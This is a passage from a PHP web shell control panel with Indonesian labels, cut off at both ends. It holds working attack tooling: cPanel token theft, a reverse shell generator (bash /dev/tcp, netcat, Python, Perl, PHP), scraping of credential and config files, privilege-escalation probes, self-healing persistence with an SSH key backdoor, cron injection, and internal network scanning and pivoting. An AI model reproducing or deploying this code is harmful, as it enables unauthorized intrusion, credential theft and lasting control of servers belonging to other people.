solid #222;padding:5px;">' . htmlspecialchars($col) . '</td>'; echo '</tr>'; } echo '</table>'; } } else echo '<p style="color:#f00;">[FAIL] Query error: ' . htmlspecialchars(mysqli_error($conn)) . '</p>'; @mysqli_close($conn); } else echo '<p style="color:#f00;">[FAIL] Connection failed</p>'; endif; ?> <?php break; case 'uapi': $uapi_detected = false; $uapi_info = []; // --- Deteksi keberadaan cPanel --- $cpanel_bin = '/usr/local/cpanel/cpanel'; $cpanel_dir = '/usr/local/cpanel'; if (file_exists($cpanel_bin) || is_dir($cpanel_dir)) { $uapi_detected = true; $uapi_info['cpanel_installed'] = '[OK] cPanel terdeteksi di server ini'; } else { $uapi_info['cpanel_installed'] = '[FAIL] cPanel TIDAK terdeteksi (bukan server cPanel)'; } // --- Deteksi env vars khas cPanel --- $env_checks = [ 'CPANEL' => getenv('CPANEL'), 'USER' => getenv('USER'), 'HOME' => getenv('HOME'), 'DOCUMENT_ROOT' => getenv('DOCUMENT_ROOT'), 'SERVER_SOFTWARE' => getenv('SERVER_SOFTWARE'), ]; foreach ($env_checks as $k => $v) { if ($v !== false && $v !== '') $uapi_info['env'][$k] = $v; } // --- Deteksi binary UAPI helper --- $uapi_bin_candidates = [ '/usr/local/cpanel/bin/uapi', '/usr/local/cpanel/3rdparty/bin/uapi', '/usr/bin/uapi', ]; $found_bin = null; foreach ($uapi_bin_candidates as $b) { if (file_exists($b) && is_executable($b)) { $found_bin = $b; break; } } $uapi_info['uapi_bin'] = $found_bin; // --- Coba jalankan UAPI (tanpa autentikasi -> biasanya error token, itu normal) --- $uapi_output = ''; if ($found_bin) { $cmd = escapeshellarg($found_bin) . ' --output=json Version get_version 2>&1'; $uapi_output = @$GLOBALS['__f1']($cmd); $uapi_info['uapi_raw'] = $uapi_output; } // --- Deteksi OTOMATIS token UAPI (multi-lokasi, tanpa perlu root) --- $home = getenv('HOME'); if (!$home || $home === '') $home = '/home/' . (getenv('USER') ?: ''); $token_candidates = [ $home . '/.accesshash', // accesshash user (tanpa root) '/home/' . (getenv('USER') ?: '') . '/.accesshash', '/root/.accesshash', // accesshash root (kalau root) $home . '/.whm_accesshash', $home . '/.cpanel/accesshash', '/var/cpanel/apisessiontoken', // session token '/var/cpanel/accesshash', ]; $found_token = ''; // token yang terbaca $found_token_path = ''; // path token yang ketemu $token_locs = []; // daftar semua lokasi yang ada foreach ($token_candidates as $tc) { if (file_exists($tc) && is_readable($tc)) { $token_locs[] = $tc; $tval = trim(@file_get_contents($tc)); if ($found_token === '' && $tval !== '') { $found_token = $tval; $found_token_path = $tc; } } } $uapi_token = $found_token; if (!empty($token_locs)) { $uapi_info['accesshash_exists'] = '[OK] Ditemukan (' . count($token_locs) . ' lokasi)'; $uapi_info['token_paths'] = implode(' | ', $token_locs); } else { $uapi_info['accesshash_exists'] = '[FAIL] accesshash tidak ditemukan (scan otomatis)'; } $uapi_info['uapi_token'] = ($found_token !== '') ? $found_token : '[FAIL] Token tidak ditemukan'; $uapi_info['token_source'] = ($found_token_path !== '') ? '[OK] Auto-detect: ' . $found_token_path : '[FAIL] -'; // --- Cek file userdata khas cPanel --- $userdata = '/var/cpanel/userdata'; $uapi_info['userdata_dir'] = is_dir($userdata) ? '[OK] ' . $userdata . ' ada' : '[FAIL] tidak ada'; // --- Tampilkan hasil --- echo '<h3>UAPI / cPanel Detection</h3>'; echo '<table style="background:#000;border-collapse:collapse;width:100%;">'; echo '<tr><th style="border:1px solid #0f0;padding:6px;width:40%;">Item</th><th style="border:1px solid #0f0;padding:6px;">Hasil</th></tr>'; foreach ($uapi_info as $key => $val) { if ($key === 'env' || $key === 'uapi_raw') continue; echo '<tr><td style="border:1px solid #222;padding:6px;">' . htmlspecialchars($key) . '</td>'; echo '<td style="border:1px solid #222;padding:6px;">' . htmlspecialchars($val) . '</td></tr>'; } if (isset($uapi_info['env']) && count($uapi_info['env'])) { echo '<tr><td style="border:1px solid #222;padding:6px;">env vars</td><td style="border:1px solid #222;padding:6px;">'; foreach ($uapi_info['env'] as $k => $v) echo htmlspecialchars($k . ' = ' . $v) . '<br>'; echo '</td></tr>'; } if (isset($uapi_info['uapi_raw']) && $uapi_info['uapi_raw'] !== '') { echo '<tr><td style="border:1px solid #222;padding:6px;">uapi raw</td><td style="border:1px solid #222;padding:6px;"><pre style="background:#000;margin:0;max-height:200px;overflow:auto;">' . htmlspecialchars($uapi_info['uapi_raw']) . '</pre></td></tr>'; } echo '</table>'; // ===== BANNER HASIL DETEKSI ===== if ($uapi_detected && $found_bin) { echo '<div style="background:#003300;border:2px solid #0f0;padding:12px;margin:10px 0;border-radius:5px;">'; echo '<h3 style="color:#0f0;margin:0 0 6px 0;">[OK] UAPI DITEMUKAN</h3>'; echo '<p style="margin:2px 0;"><strong>Binary:</strong> ' . htmlspecialchars($found_bin) . '</p>'; echo '<p style="margin:2px 0;"><strong>Token / Accesshash:</strong> <code style="background:#000;padding:2px 6px;color:#0ff;">' . htmlspecialchars($uapi_token) . '</code></p>'; if ($found_token_path !== '') echo '<p style="margin:2px 0;color:#aaa;font-size:12px;"> Auto-detect dari: <code>' . htmlspecialchars($found_token_path) . '</code> (tanpa perlu ketik path)</p>'; echo '<p style="margin:2px 0;color:#aaa;font-size:12px;">Salin token di atas untuk menjalankan call UAPI (WHM API).</p>'; echo '</div>'; } else { echo '<div style="background:#330000;border:2px solid #f00;padding:12px;margin:10px 0;border-radius:5px;">'; echo '<h3 style="color:#f00;margin:0;">[FAIL] UAPI TIDAK DITEMUKAN</h3>'; echo '<p style="margin:2px 0;color:#aaa;">Server ini bukan cPanel atau binary uapi tidak tersedia.</p>'; echo '</div>'; } echo '<p style="color:#888;font-size:12px;">[BULB] Catatan: UAPI butuh token autentikasi (WHM API token / accesshash). Tanpa token, banyak call akan menolak. Fitur ini mendeteksi keberadaan & kesiapan UAPI di server.</p>'; echo '<p style="color:#888;font-size:12px;">[PIN] Jika ingin mencoba call UAPI dengan token, isi form di bawah:</p>'; ?> <form method="post" style="margin-top:10px;"> <input type="text" name="uapi_token" value="<?php echo htmlspecialchars($found_token); ?>" placeholder="WHM API Token / accesshash (otomatis terisi dari deteksi)" style="width:60%;"> <input type="text" name="uapi_module" placeholder="Module (mis: DomainInfo)" style="width:30%;"> <input type="text" name="uapi_func" placeholder="Function (mis: list_domains)" style="width:30%;"> <input type="submit" name="uapi_run" value="▶ Jalankan UAPI"> </form> <?php if(isset($_POST['uapi_run'])): $token = trim($_POST['uapi_token']); $module = trim($_POST['uapi_module']); $func = trim($_POST['uapi_func']); $res = ''; if ($found_bin) { // Pakai token dari deteksi otomatis kalau user tidak isi manual if ($token === '') $token = $found_token; $cmd = escapeshellarg($found_bin) . ' --output=json ' . escapeshellarg($module) . ' ' . escapeshellarg($func) . ' 2>&1'; $res = @$GLOBALS['__f1']($cmd); } else { $res = '[FAIL] UAPI binary tidak ditemukan'; } echo '<pre style="background:#000;padding:10px;overflow:auto;max-height:300px;border:1px solid #0f0;">' . htmlspecialchars($res) . '</pre>'; endif; ?> <?php break; case 'recon': ?> <h3>Auto-Recon / Info Gathering</h3> <div style="background:#000;padding:10px;border:1px solid #333;margin-bottom:10px;"> <?php echo '<p><strong>[MONITOR] System:</strong> ' . htmlspecialchars(@sxu_uname()) . '</p>'; echo '<p><strong> Server time:</strong> ' . htmlspecialchars(date('Y-m-d H:i:s')) . '</p>'; echo '<p><strong>[WEB] IP Server:</strong> ' . htmlspecialchars($_SERVER['SERVER_ADDR'] ?? 'N/A') . '</p>'; echo '<p><strong>[LINK] IP Remote:</strong> ' . htmlspecialchars($_SERVER['REMOTE_ADDR'] ?? 'N/A') . '</p>'; echo '<p><strong>[WEB] Hostname:</strong> ' . htmlspecialchars(@gethostname()) . '</p>'; echo '<p><strong>[MONITOR] OS:</strong> ' . htmlspecialchars(PHP_OS) . '</p>'; echo '<p><strong> PHP Version:</strong> ' . htmlspecialchars(PHP_VERSION) . '</p>'; echo '<p><strong>[MONITOR] Server Software:</strong> ' . htmlspecialchars($_SERVER['SERVER_SOFTWARE'] ?? 'N/A') . '</p>'; echo '<p><strong>[USER] Current User:</strong> ' . htmlspecialchars(@sxu_pw()['name'] ?? sxu_user()) . ' (uid=' . @sxu_uid() . ')</p>'; echo '<p><strong>[FOLDER] Document Root:</strong> ' . htmlspecialchars($_SERVER['DOCUMENT_ROOT'] ?? 'N/A') . '</p>'; $kernel = @file_get_contents('/proc/version'); if ($kernel) echo '<p><strong>[BRAIN] Kernel:</strong> ' . htmlspecialchars(trim($kernel)) . '</p>'; $cpuinfo = @file_get_contents('/proc/cpuinfo'); $cores = $cpuinfo ? substr_count($cpuinfo, 'processor') : 'N/A'; echo '<p><strong>[CONFIG] CPU Cores:</strong> ' . $cores . '</p>'; $meminfo = @file_get_contents('/proc/meminfo'); if ($meminfo && preg_match('/MemTotal:\s+(\d+)/', $meminfo, $m)) { echo '<p><strong>[SAVE] RAM:</strong> ' . round($m[1]/1024/1024, 2) . ' GB</p>'; } $uptime = @file_get_contents('/proc/uptime'); if ($uptime) { $secs = (int)explode(' ', $uptime)[0]; echo '<p><strong>⏱ Uptime:</strong> ' . round($secs/3600, 1) . ' jam</p>'; } echo '<h4>[USERS] Users di /etc/passwd:</h4>'; $passwd = @file('/etc/passwd'); if ($passwd) { echo '<table style="width:100%;border-collapse:collapse;"><tr><th style="border:1px solid #333;">User</th><th style="border:1px solid #333;">UID</th><th style="border:1px solid #333;">Home</th><th style="border:1px solid #333;">Shell</th></tr>'; foreach ($passwd as $line) { $p = explode(':', trim($line)); if (count($p) >= 7) { echo '<tr><td style="border:1px solid #222;padding:3px;">' . htmlspecialchars($p[0]) . '</td>'; echo '<td style="border:1px solid #222;padding:3px;">' . htmlspecialchars($p[2]) . '</td>'; echo '<td style="border:1px solid #222;padding:3px;">' . htmlspecialchars($p[5]) . '</td>'; echo '<td style="border:1px solid #222;padding:3px;">' . htmlspecialchars($p[6]) . '</td></tr>'; } } echo '</table>'; } else { echo '<p style="color:#f00;">Tidak bisa baca /etc/passwd</p>'; } ?> </div> <?php break; case 'rshell': ?> <h3>Reverse Shell Generator</h3> <div style="background:#000;padding:12px;border:1px solid #0f0;border-radius:5px;"> <?php $ip = $_SERVER['REMOTE_ADDR'] ?? 'YOUR_IP'; $port = isset($_POST['port']) && $_POST['port'] !== '' ? (int)$_POST['port'] : 4444; $lang = $_POST['lang'] ?? 'bash'; ?> <form method="post" style="display:flex;gap:8px;flex-wrap:wrap;align-items:center;"> <label>IP:</label> <input type="text" name="ip" value="<?php echo htmlspecialchars($ip); ?>" style="width:150px;"> <label>Port:</label> <input type="number" name="port" value="<?php echo $port; ?>" style="width:70px;"> <label>Type:</label> <select name="lang"> <option value="bash" <?php echo $lang=='bash'?'selected':''; ?>>Bash</option> <option value="php" <?php echo $lang=='php'?'selected':''; ?>>PHP</option> <option value="python" <?php echo $lang=='python'?'selected':''; ?>>Python</option> <option value="nc" <?php echo $lang=='nc'?'selected':''; ?>>Netcat</option> <option value="perl" <?php echo $lang=='perl'?'selected':''; ?>>Perl</option> </select> <button type="submit" style="background:#0f0;color:#000;border:none;padding:6px 14px;font-weight:bold;cursor:pointer;">Generate</button> </form> <hr style="border-color:#333;"> <?php $ip = $_POST['ip'] ?? $ip; $cmd = ''; switch ($lang) { case 'bash': $cmd = "bash -i >& /dev/tcp/{$ip}/{$port} 0>&1"; break; case 'php': $cmd = 'php -r \'$sock=fsockopen("'.$ip.'",'.$port.');exec("/bin/sh -i <&3 >&3 2>&3");\''; break; case 'python': $cmd = 'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'.$ip.'",'.$port.'));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])\''; break; case 'nc': $cmd = "nc -e /bin/sh {$ip} {$port}"; break; case 'perl': $cmd = 'perl -e \'use Socket;$i="'.$ip.'";$p='.$port.';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\''; break; } echo '<pre style="background:#111;padding:10px;border:1px solid #333;color:#0ff;overflow:auto;">nc -lvnp ' . $port . '</pre>'; echo '<p style="color:#888;font-size:12px;">[ROCKET] Jalankan di target:</p>'; echo '<textarea readonly style="width:100%;height:60px;background:#111;color:#0ff;border:1px solid #0f0;padding:8px;" onclick="this.select()">' . htmlspecialchars($cmd) . '</textarea>'; ?> </div> <?php break; case 'sensitive': ?> <h3>Sensitive File Finder</h3> <div style="background:#000;padding:12px;border:1px solid #0f0;border-radius:5px;"> <?php $docroot = $_SERVER['DOCUMENT_ROOT'] ?? getcwd(); $start_dir = isset($_POST['path']) && $_POST['path'] !== '' ? $_POST['path'] : $docroot; $depth = isset($_POST['depth']) ? (int)$_POST['depth'] : 4; $patterns = [ 'wp-config.php' => 'WordPress config', 'config.php' => 'Config PHP', '.env' => 'Environment vars', 'configuration.php' => 'Joomla config', 'settings.php' => 'Drupal config', '.htpasswd' => 'htpasswd', '.htaccess' => 'htaccess', 'config.yml' => 'Config YAML', 'database.php' => 'DB config', 'db.php' => 'DB config', 'conn.php' => 'DB config', 'credentials' => 'Credentials', '*.sql' => 'SQL dump', '*.bak' => 'Backup', '*.log' => 'Log file', ]; ?> <form method="post" style="display:flex;gap:8px;flex-wrap:wrap;align-items:center;"> <label>Start dir:</label> <input type="text" name="path" value="<?php echo htmlspecialchars($start_dir); ?>" style="width:250px;"> <label>Depth:</label> <input type="number" name="depth" value="<?php echo $depth; ?>" style="width:50px;"> <button type="submit" style="background:#0f0;color:#000;border:none;padding:6px 14px;font-weight:bold;cursor:pointer;">[SEARCH] Scan</button> </form> <hr style="border-color:#333;"> <?php if ($_SERVER['REQUEST_METHOD'] === 'POST') { $found = []; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($start_dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); $iterator->setMaxDepth($depth); foreach ($iterator as $file) { if (!$file->isFile()) continue; $name = $file->getFilename(); $uapi_path2 = $file->getPathname(); foreach ($patterns as $pat => $desc) { if (fnmatch($pat, $name)) { $found[] = ['path' => $path, 'desc' => $desc, 'size' => $file->getSize()]; break; } } } echo '<p><strong>Ditemukan ' . count($found) . ' file sensitif:</strong></p>'; if (count($found)) { echo '<table style="width:100%;border-collapse:collapse;"><tr><th style="border:1px solid #333;">File</th><th style="border:1px solid #333;">Tipe</th><th style="border:1px solid #333;">Size</th><th style="border:1px solid #333;">Action</th></tr>'; foreach ($found as $f) { echo '<tr><td style="border:1px solid #222;padding:3px;word-break:break-all;">' . htmlspecialchars($f['path']) . '</td>'; echo '<td style="border:1px solid #222;padding:3px;">' . htmlspecialchars($f['desc']) . '</td>'; echo '<td style="border:1px solid #222;padding:3px;">' . round($f['size']/1024, 1) . ' KB</td>'; echo '<td style="border:1px solid #222;padding:3px;"><a href="?view=' . urlencode($f['path']) . '&dir=' . urlencode($current_dir) . '">[VIEW]</a></td></tr>'; } echo '</table>'; } else { echo '<p style="color:#f00;">Tidak ada file sensitif ditemukan.</p>'; } } ?> </div> <?php break; case 'privesc': ?> <h3>Privilege Escalation Helper</h3> <div style="background:#000;padding:12px;border:1px solid #0f0;border-radius:5px;"> <?php echo '<h4>[USER] Current User</h4>'; echo '<p><strong>UID:</strong> ' . @sxu_uid() . ' | <strong>User:</strong> ' . htmlspecialchars(@sxu_pw()['name'] ?? 'N/A') . '</p>'; echo '<h4>[SEARCH] SUID Binary (setuid root)</h4>'; $suid = @$GLOBALS['__f1']("find / -perm -4000 -type f 2>/dev/null | head -50"); if ($suid) { echo '<pre style="background:#111;padding:10px;border:1px solid #333;color:#0ff;overflow:auto;">' . htmlspecialchars($suid) . '</pre>'; } else { echo '<p style="color:#f00;">Tidak bisa scan SUID.</p>'; } echo '<h4>[SHIELD] Sudo Permission</h4>'; $sudo = @$GLOBALS['__f1']("sudo -l 2>&1"); if ($sudo) { echo '<pre style="background:#111;padding:10px;border:1px solid #333;color:#0ff;overflow:auto;">' . htmlspecialchars($sudo) . '</pre>'; } else { echo '<p style="color:#f00;">sudo -l tidak berjalan.</p>'; } echo '<h4>[BRAIN] Kernel Version</h4>'; $kernel = @$GLOBALS['__f1']("uname -a 2>&1"); if ($kernel) { echo '<pre style="background:#111;padding:10px;border:1px solid #333;color:#0ff;overflow:auto;">' . htmlspecialchars($kernel) . '</pre>'; } echo '<h4> World-Writable Files (root-owned)</h4>'; $ww = @$GLOBALS['__f1']("find / -xdev -type f -perm -0002 -user root 2>/dev/null | head -30"); if ($ww) { echo '<pre style="background:#111;padding:10px;border:1px solid #333;color:#0ff;overflow:auto;">' . htmlspecialchars($ww) . '</pre>'; } echo '<h4>[DIR] Cron Jobs (root)</h4>'; $cron = @$GLOBALS['__f1']("ls -la /etc/cron* 2>/dev/null; cat /etc/crontab 2>/dev/null"); if ($cron) { echo '<pre style="background:#111;padding:10px;border:1px solid #333;color:#0ff;overflow:auto;">' . htmlspecialchars($cron) . '</pre>'; } ?> </div> <?php break; case 'persist': // ===== MULTI-PERSISTENCE ===== ?> <div style="background:#111;border:1px solid #333;padding:18px;border-radius:6px;margin-top:10px;"> <h3 style="color:#e0b0ff;margin-top:0;">🔗 MULTI-PERSISTENCE — Systemd + Cron + Bashrc + SSH (Self-Healing)</h3> <p style="color:#aaa;font-size:13px;">Pasang <strong>5 jalur persistence sekaligus</strong> yang saling memulihkan: systemd service, cron job, .bashrc, dan SSH key backdoor. Kalau satu dihapus, jalur lain otomatis menanam ulang. Akses tetap hidup walau reboot.</p> <form method="post" style="margin:10px 0;"> <input type="text" name="mp_ip" value="127.0.0.1" placeholder="Attacker IP" style="background:#1a1a1a;border:1px solid #444;color:#ddd;padding:8px;width:160px;margin-right:6px;"> <input type="text" name="mp_port" value="4444" placeholder="Port" style="background:#1a1a1a;border:1px solid #444;color:#ddd;padding:8px;width:70px;margin-right:6px;"> <button type="submit" name="mp_run" value="1" style="background:#6a0dad;color:#fff;border:none;padding:9px 18px;border-radius:4px;cursor:pointer;font-weight:bold;"> ▶ PASANG PERSISTENCE </button> </form> <?php if (isset($_POST['mp_run'])) { $ip = isset($_POST['mp_ip']) ? trim($_POST['mp_ip']) : '127.0.0.1'; $port = isset($_POST['mp_port']) ? (int)trim($_POST['mp_port']) : 4444; $res = ar_multi_persistence($ip, $port); echo '<pre style="background:#0b0b0b;border:1px solid #2a2a2a;padding:14px;border-radius:4px;color:#0f0;font-size:12px;overflow:auto;max-height:480px;">'; echo htmlspecialchars($res); echo '</pre>'; } ?> </div> <?php break; case 'dbdetect': ?> <h3>Database Auto-Detect</h3> <div style="background:#000;padding:12px;border:1px solid #0f0;border-radius:5px;"> <?php $docroot = $_SERVER['DOCUMENT_ROOT'] ?? getcwd(); $start_dir = isset($_POST['path']) && $_POST['path'] !== '' ? $_POST['path'] : $docroot; $depth = isset($_POST['depth']) ? (int)$_POST['depth'] : 3; ?> <form method="post" style="display:flex;gap:8px;flex-wrap:wrap;align-items:center;"> <label>Scan dir:</label> <input type="text" name="path" value="<?php echo htmlspecialchars($start_dir); ?>" style="width:250px;"> <label>Depth:</label> <input type="number" name="depth" value="<?php echo $depth; ?>" style="width:50px;"> <button type="submit" style="background:#0f0;color:#000;border:none;padding:6px 14px;font-weight:bold;cursor:pointer;">[SEARCH] Scan DB Config</button> </form> <hr style="border-color:#333;"> <?php if ($_SERVER['REQUEST_METHOD'] === 'POST') { $targets = ['wp-config.php', 'configuration.php', 'settings.php', 'config.php', '.env', 'database.php', 'db.php', 'conn.php']; $found = []; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($start_dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); $iterator->setMaxDepth($depth); foreach ($iterator as $file) { if (!$file->isFile()) continue; $name = $file->getFilename(); if (in_array($name, $targets)) { $content2 = @file_get_contents($file->getPathname()); $creds = []; if (preg_match('/(?:DB_NAME|DB_DATABASE|database|dbname)\s*[=:]\s*["\'\']?([^"\'\'\s,;]+)/i', $content2, $m)) $creds['DB'] = $m[1]; if (preg_match('/(?:DB_USER|DB_USERNAME|username)\s*[=:]\s*["\'\']?([^"\'\'\s,;]+)/i', $content2, $m)) $creds['USER'] = $m[1]; if (preg_match('/(?:DB_PASSWORD|password|pass)\s*[=:]\s*["\'\']?([^"\'\'\s,;]+)/i', $content2, $m)) $creds['PASS'] = $m[1]; if (preg_match('/(?:DB_HOST|host|server)\s*[=:]\s*["\'\']?([^"\'\'\s,;]+)/i', $content2, $m)) $creds['HOST'] = $m[1]; if (count($creds)) $found[] = ['path' => $file->getPathname(), 'creds' => $creds]; } } if (count($found)) { echo '<p><strong>Ditemukan ' . count($found) . ' file config DB:</strong></p>'; foreach ($found as $f) { echo '<div style="background:#111;padding:8px;border:1px solid #333;margin:5px 0;border-radius:3px;">'; echo '<strong style="color:#0ff;">' . htmlspecialchars($f['path']) . '</strong><br>'; foreach ($f['creds'] as $k => $v) { echo '<span style="color:#888;">' . htmlspecialchars($k) . ':</span> <code style="color:#0f0;">' . htmlspecialchars($v) . '</code><br>'; } echo '</div>'; } } else { echo '<p style="color:#f00;">Tidak ada kredensial DB ditemukan.</p>'; } } ?> </div> <?php break; case 'cron': ?> <h3>Cron Manager</h3> <div style="background:#000;padding:12px;border:1px solid #0f0;border-radius:5px;"> <?php echo '<h4>[COPY] Current Crontab:</h4>'; $crontab = @$GLOBALS['__f1']("crontab -l 2>&1"); echo '<pre style="background:#111;padding:10px;border:1px solid #333;color:#0ff;overflow:auto;">' . htmlspecialchars($crontab === '' ? '(kosong)' : $crontab) . '</pre>'; echo '<h4>[+] Tambah Cron Job:</h4>'; ?> <form method="post" style="display:flex;gap:8px;flex-wrap:wrap;align-items:center;"> <input type="text" name="cron_cmd" placeholder="command" style="width:280px;"> <input type="text" name="cron_sched" value="*/5 * * * *" placeholder="schedule" style="width:120px;"> <button type="submit" name="cron_add" style="background:#0f0;color:#000;border:none;padding:6px 14px;font-weight:bold;cursor:pointer;">[+] Add</button> </form> <?php if (isset($_POST['cron_add'])) { $cmd = $_POST['cron_cmd']; $sched = $_POST['cron_sched']; if ($cmd !== '') { $full = "$sched $cmd"; $result = @$GLOBALS['__f1']("(crontab -l 2>/dev/null; echo '" . addslashes($full) . "') | crontab - 2>&1"); echo '<p style="color:' . (empty($result) ? '#0f0;">[OK] Cron ditambahkan' : '#f00;">[FAIL] Gagal: ' . htmlspecialchars($result) . '</p>'); } } ?> </div> <?php break; case 'network': $nw_mode = isset($_GET['mode']) ? $_GET['mode'] : 'info'; function nw_run($c){ return $GLOBALS['__f1']($c." 2>&1"); } ?> <div style="background:#111;border:1px solid #333;padding:18px;border-radius:6px;margin-top:10px;"> <h3 style="color:#7fd4ff;margin-top:0;">🌐 NETWORK / LATERAL MOVEMENT</h3> <p style="color:#aaa;font-size:13px;">Eksplorasi jaringan internal & persiapan lompat antar mesin (pivot). Berjalan sebagai user biasa.</p> <div style="margin:10px 0;"> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=network&mode=info" style="background:#0a3d5c;color:#fff;padding:6px 12px;border-radius:4px;text-decoration:none;margin-right:6px;font-size:12px;">1. Info Jaringan</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=network&mode=scan" style="background:#0a3d5c;color:#fff;padding:6px 12px;border-radius:4px;text-decoration:none;margin-right:6px;font-size:12px;">2. Scan Subnet</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=network&mode=port" style="background:#0a3d5c;color:#fff;padding:6px 12px;border-radius:4px;text-decoration:none;margin-right:6px;font-size:12px;">3. Scan Port</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=network&mode=creds" style="background:#0a3d5c;color:#fff;padding:6px 12px;border-radius:4px;text-decoration:none;margin-right:6px;font-size:12px;">4. Cari Kredensial</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=network&mode=pivot" style="background:#0a3d5c;color:#fff;padding:6px 12px;border-radius:4px;text-decoration:none;margin-right:6px;font-size:12px;">5. Pivot / Tunnel</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=network&mode=arp" style="background:#0a3d5c;color:#fff;padding:6px 12px;border-radius:4px;text-decoration:none;font-size:12px;">6. ARP / Host</a> </div> <?php $nw_out = ''; switch ($nw_mode) { case 'info': $nw_out .= "===== INTERFACE & IP =====\n"; $nw_out .= nw_run('ip -o -4 addr show 2>/dev/null || ifconfig 2>/dev/null'); $nw_out .= "\n===== ROUTING / GATEWAY =====\n"; $nw_out .= nw_run('ip route 2>/dev/null; echo; netstat -rn 2>/dev/null | head -20'); $nw_out .= "\n===== IP PUBLIK =====\n"; $nw_out .= nw_run('curl -s --max-time 5 http://ifconfig.me 2>/dev/null || wget -qO- --timeout=5 http://ifconfig.me 2>/dev/null'); $nw_out .= "\n===== HOSTNAME & DNS =====\n"; $nw_out .= nw_run('hostname; echo; cat /etc/hosts 2>/dev/null; echo; cat /etc/resolv.conf 2>/dev/null | grep nameserver'); break; case 'scan': $subnet = isset($_GET['subnet']) ? $_GET['subnet'] : ''; $nw_out .= "===== SCAN HOST HIDUP DI SUBNET =====\n"; if ($subnet !== '') { $nw_out .= nw_run('for i in $(seq 1 254); do (ping -c1 -W1 '.escapeshellarg($subnet).'.$i >/dev/null 2>&1 && echo "UP '.escapeshellarg($subnet).'.$i") & done; wait 2>/dev/null'); } else { $nw_out .= "Isi subnet di form bawah (contoh: 10.0.0).\nDeteksi otomatis:\n"; $nw_out .= nw_run("ip -o -4 addr show 2>/dev/null | awk '{print \$4}'"); } break; case 'port': $host = isset($_GET['host']) ? $_GET['host'] : ''; $nw_out .= "===== SCAN PORT =====\n"; if ($host !== '') { $ports = array(21,22,23,25,53,80,110,135,139,143,443,445,1433,1521,2049,2375,3306,3389,5432,5900,5984,6379,8000,8080,8443,8888,9000,9200,11211,27017); foreach ($ports as $p) { $r = @fsockopen($host, $p, $errno, $errstr, 0.7); if ($r) { $nw_out .= "[OPEN] $host:$p\n"; @fclose($r); } } } else { $nw_out .= "Isi IP target di form bawah.\n"; } break; case 'creds': $nw_out .= "===== CARI KREDENSIAL INTERNAL =====\n"; $nw_out .= nw_run('grep -rE "(password|passwd|DB_PASS|DB_USER|MYSQL_PASS|api_key|secret)" /var/www/*/wp-config.php /var/www/*/.env /home/*/.env /var/www/html/wp-config.php 2>/dev/null | head -40'); $nw_out .= "\n===== HISTORY & CONFIG =====\n"; $nw_out .= nw_run('cat ~/.bash_history ~/.mysql_history 2>/dev/null | grep -iE "mysql|ssh|pass|login" | head -30'); $nw_out .= "\n===== SSH KEY =====\n"; $nw_out .= nw_run('ls -la ~/.ssh/ 2>/dev/null; cat ~/.ssh/id_rsa 2>/dev/null | head -5'); break; case 'pivot': $nw_out .= "===== PIVOT / TUNNEL HELPER =====\nTools tersedia:\n"; $nw_out .= nw_run('for t in ssh socat chisel nc ncat proxychains4; do command -v $t >/dev/null 2>&1 && echo "[+] $t: $(command -v $t)"; done; echo "[-] selesai"'); $nw_out .= "\n===== CARA PIVOT =====\n1) SSH Local Forward:\n ssh -L 127.0.0.1:3306:TARGET:3306 user@JUMP\n2) SOCKS via SSH:\n ssh -D 1080 user@JUMP (proxy 127.0.0.1:1080)\n3) chisel reverse socks:\n srv: ./chisel server -p 8080 --reverse\n cli: ./chisel client JUMP:8080 R:1080:socks\n4) socat forward:\n socat TCP-LISTEN:4444,fork TCP:TARGET:3389 &\n"; break; case 'arp': $nw_out .= "===== ARP CACHE & HOST =====\n"; $nw_out .= nw_run('cat /proc/net/arp 2>/dev/null'); $nw_out .= "\n===== /etc/hosts =====\n"; $nw_out .= nw_run('cat /etc/hosts 2>/dev/null'); $nw_out .= "\n===== SSH KNOWN HOSTS =====\n"; $nw_out .= nw_run('cat ~/.ssh/known_hosts 2>/dev/null | awk "{print \$1}" | sort -u | head -30'); break; } echo '<pre style="background:#0b0b0b;border:1px solid #2a2a2a;padding:14px;border-radius:4px;color:#7fd4ff;font-size:12px;overflow:auto;max-height:500px;">'.htmlspecialchars($nw_out).'</pre>'; ?> <?php if ($nw_mode == 'scan'): ?> <form method="get" style="margin-top:10px;"> <input type="hidden" name="dir" value="<?php echo htmlspecialchars($current_dir); ?>"> <input type="hidden" name="action" value="network"> <input type="hidden" name="mode" value="scan"> <input type="text" name="subnet" placeholder="Subnet, contoh: 10.0.0" style="background:#0b0b0b;border:1px solid #333;color:#fff;padding:6px;border-radius:4px;width:200px;"> <button type="submit" style="background:#0a3d5c;color:#fff;border:none;padding:6px 14px;border-radius:4px;cursor:pointer;">▶ SCAN</button> </form> <?php elseif ($nw_mode == 'port'): ?> <form method="get" style="margin-top:10px;"> <input type="hidden" name="dir" value="<?php echo htmlspecialchars($current_dir); ?>"> <input type="hidden" name="action" value="network"> <input type="hidden" name="mode" value="port"> <input type="text" name="host" placeholder="IP target, contoh: 10.0.0.5" style="background:#0b0b0b;border:1px solid #333;color:#fff;padding:6px;border-radius:4px;width:200px;"> <button type="submit" style="background:#0a3d5c;color:#fff;border:none;padding:6px 14px;border-radius:4px;cursor:pointer;">▶ SCAN PORT</button> </form> <?php endif; ?> </div> <?php break; case 'autoroot': // ===== AUTO ROOT ===== ?> <div style="background:#111;border:1px solid #333;padding:18px;border-radius:6px;margin-top:10px;"> <h3 style="color:#e0b0ff;margin-top:0;">⚡ AUTO ROOT — Deteksi OS & Privilege Escalation</h3> <p style="color:#aaa;font-size:13px;">Panel akan mendeteksi OS/kernel target, mencocokkan dengan database exploit, lalu 